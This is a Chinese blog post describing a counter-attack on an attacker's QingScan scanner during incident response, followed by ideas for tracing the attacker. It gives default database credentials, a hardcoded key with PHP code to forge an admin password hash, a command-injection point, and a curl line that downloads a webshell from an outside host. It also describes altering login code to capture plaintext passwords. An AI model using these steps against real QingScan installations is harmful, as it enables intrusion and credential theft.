QingScan開源掃描器的反制方法及溯源思路

區塊軟件開發 發佈 2024-05-15T06:48:29.408850+00:00

在某次應急中發現攻擊者使用了QingScan掃描器對目標資產進行掃描攻擊,本篇文章簡單描述應急過程中對該掃描器的反制方法和溯源思路。掃描器啟動時存在兩個服務,一個是掃描服務,另外一個是資料庫服務。

前言

在某次應急中發現攻擊者使用了QingScan掃描器對目標資產進行掃描攻擊,本篇文章簡單描述應急過程中對該掃描器的反制方法和溯源思路(本地測試環境進行復現)

反制過程

資料庫權限

掃描器啟動時存在兩個服務,一個是掃描服務,另外一個是資料庫服務。

由於目標掃描器用docker啟動,啟動時的參數容易被忽略,導致開放的33306埠的資料庫服務存在默認的弱口令: root/123。這也是本次反制過程中最關鍵的點

後台權限

由於需要取證確實為該伺服器存在對目標服務進行漏洞掃描行為,所以需要進入後台更直觀地看到掃描項目信息。

後端代碼對用戶密碼進行了加密處理,在未成功爆破出有效密碼的情況下,選擇了自己生成密碼Hash並將資料庫中已有的密碼Hash進行替換的方案

登錄處密碼處理邏輯如下

從圖中代碼可以想到用於身份校驗的資料庫中的密碼hash與密碼、用戶名明文和UC_AUTH_KEY相關

其中UC_AUTH_KEY為硬編碼存放在code/config/app.php

最後通過ucenter_md5方法生成最終的密碼Hash

簡化邏輯如下

<?php


$str = "admin@123"."admin";//$password.$username
$key = "xt1l3a21uo0tu2oxtds3wWte23dsxix2d3in7yuhui32yuapatmdsnnzdazh1612ongxxin2z";
echo md5(md5(sha1($str) . $key)."###xt"); //e9e6a217f80f50309757a90c39aab646

替換Hash後成功登錄管理後台

命令執行權限

在對代碼進行審計的過程中,發現code/app/common.php#systemLog存在命令執行點

在 /code/app/model/ProcessSafeModel.php中被調用

後台對應的功能點為:系統設置-守護進程管理-添加守護進程,value欄位即可執行的命令參數

利用curl遠程請求web獲取webshell輸出到目標web目錄(/root/qingscan/code/public/)

curl http://host/info.txt -o /root/qingscan/code/public/12121.php

上傳成功後獲取到目標伺服器部分權限

由於目標權限在docker內,沒有通過shell獲取到其他有用的信息。但伺服器中還部署了其他的服務,

所以拿到shell後修改了這套程序的登陸邏輯,登陸成功後會記錄攻擊者本人的明文密碼,方便後續對攻擊伺服器中的其他服務進行爆破

在登錄邏輯處修改相關代碼,若攻擊者帳號成功登錄,會將密碼保存至網站根目錄code.txt文件內

效果如下

但在真實環境等待幾天後攻擊者並沒有登錄,伺服器也隨之關閉。反制到此結束

溯源思路

‍針對該掃描器功能的溯源思路如下

思路一:

在本次應急過程中,攻擊者在掃描器後台配置了fofa的API信息,通過郵箱(qq號@qq.com)找到了攻擊者的具體的身份信息和常用id

思路二

該掃描器存在登錄日誌功能,可以通過記錄的ip對攻擊者進行模糊定位。

關鍵字: